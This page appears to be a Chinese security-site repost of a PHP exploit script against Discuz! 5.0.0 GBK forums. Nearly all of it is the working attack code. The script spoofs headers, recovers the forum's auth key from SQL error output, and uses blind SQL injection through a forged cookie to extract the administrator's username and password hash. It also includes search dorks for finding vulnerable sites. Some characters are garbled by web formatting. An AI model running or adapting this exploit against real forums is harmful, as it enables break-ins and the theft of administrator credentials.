Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit

admin 2021年12月30日21:29:00评论287 views字数 7765阅读25分53秒阅读模式
 
<pre class="EnlighterJSRAW" data-enlighter-language="generic">code:
&lt;?php
print_r('
---------------------------------------------------------------------------
Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit
by rgod &lt;/code&gt;&lt;/code&gt;&lt;a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="1765707873577662637e64637e747e39786570"&gt;[email protected]&lt;/a&gt;&lt;code&gt;&lt;script data-cfhash='f9e31' type="text/javascript"&gt;/* &lt;![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&amp;&amp;(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]&gt; */&lt;/script&gt;
site: http://retrogod.altervista.org
dorks: "powered by discuz! 5.0.0
"powered by discuz!
---------------------------------------------------------------------------
');
if ($argc&amp;lt;3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to discuz
Options:
-p[port]:    specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '.$argv[0].' localhost /discuz/ -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);&lt;/code&gt;

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i&amp;lt;=strlen($string)-1; $i++)
{
if ((ord($string[$i]) &amp;lt;= 32 ) | (ord($string[$i]) &amp;gt; 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="/r/n"; $exa.="/r/n";}
}
return $exa."/r/n".$result;
}
$proxy_regex = '(/b/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3}/:/d{1,5}/b)';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy.../r/n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i&amp;lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]&amp;lt;&amp;gt;'/') or ($path[strlen($path)-1]&amp;lt;&amp;gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "please wait.../n";

//from global.func.php
function authcode($string, $operation, $key = '') {
$key = $key ? $key : $GLOBALS['discuz_auth_key'];
$coded = '';
$keylength = 32;
$string = $operation == 'DECODE' ? base64_decode($string) : $string;
for($i = 0; $i &amp;lt; strlen($string); $i += 32) {
$coded .= substr($string, $i, 32) ^ $key;
}
$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
return $coded;
}

//stolen from install.php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i &amp;lt; $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i&amp;lt;=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0/r/n";
$packet.="CLIENT-IP: 999.999.999.999/r/n";//spoof
$packet.="User-Agent: $agent/r/n";
$packet.="Host: ".$host."/r/n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu/tsuntzu/t".$tt,"ENCODE").";/r/n";
$packet.="Accept: text/plain/r/n";
$packet.="Connection: Close/r/n/r/n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("&amp;lt;br /&amp;gt;","",$html);
$t=explode("AND m.password='",$html);
$t2=explode("' ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques='",$html);
$t2=explode("'/n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid='",$html);
$t2=explode("'/x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."/t".$secques_f."/t".$uid_f;
if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}
$temp = authcode("suntzu/tsuntzu/t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j&amp;lt;32; $j++){
for ($i=0; $i&amp;lt;255; $i++){
$aa="";
if ($j&amp;lt;&amp;gt;0){
for ($k=1; $k&amp;lt;=$j; $k++){
$aa.="a";
}
}
$GLOBALS['discuz_auth_key']=$aa.chr($i);
$t = authcode($temp,"DECODE");
if ($t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}

//echo "AUTH KEY -&amp;gt;".$key."/r/n";
$GLOBALS['discuz_auth_key']=$key;

echo "pwd hash (md5) -&amp;gt; ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i&amp;lt;=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin&amp;amp; HTTP/1.0/r/n";
$packet.="User-Agent: $agent/r/n";
$packet.="CLIENT-IP: 1.2.3.4/r/n";
$packet.="Host: ".$host."/r/n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu/tsuntzu/t".$sql,"ENCODE").";/r/n";
$packet.="Accept: text/plain/r/n";
$packet.="Connection: Close/r/n/r/n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if ($i==255) {
die("/nExploit failed...");
}
}
$j++;
}

echo "/nadmin user -&amp;gt; ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i&amp;lt;=255; $i++)
{
$sql="999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin&amp;amp; HTTP/1.0/r/n";
$packet.="User-Agent: $agent/r/n";
$packet.="CLIENT-IP: 1.2.3.4/r/n";
$packet.="Host: ".$host."/r/n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu/tsuntzu/t".$sql,"ENCODE").";/r/n";
$packet.="Accept: text/plain/r/n";
$packet.="Connection: Close/r/n/r/n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if ($i==255) {die("/nExploit failed...");}
}
$j++;
}

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}
?&gt;;

</pre>
&nbsp;

 

相关推荐: Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit

&nbsp; <pre class="EnlighterJSRAW" data-enlighter-language="generic">code: &lt;?php print_r(' ----------------------…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月30日21:29:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploithttp://cn-sec.com/archives/707745.html

发表评论

匿名网友 填写信息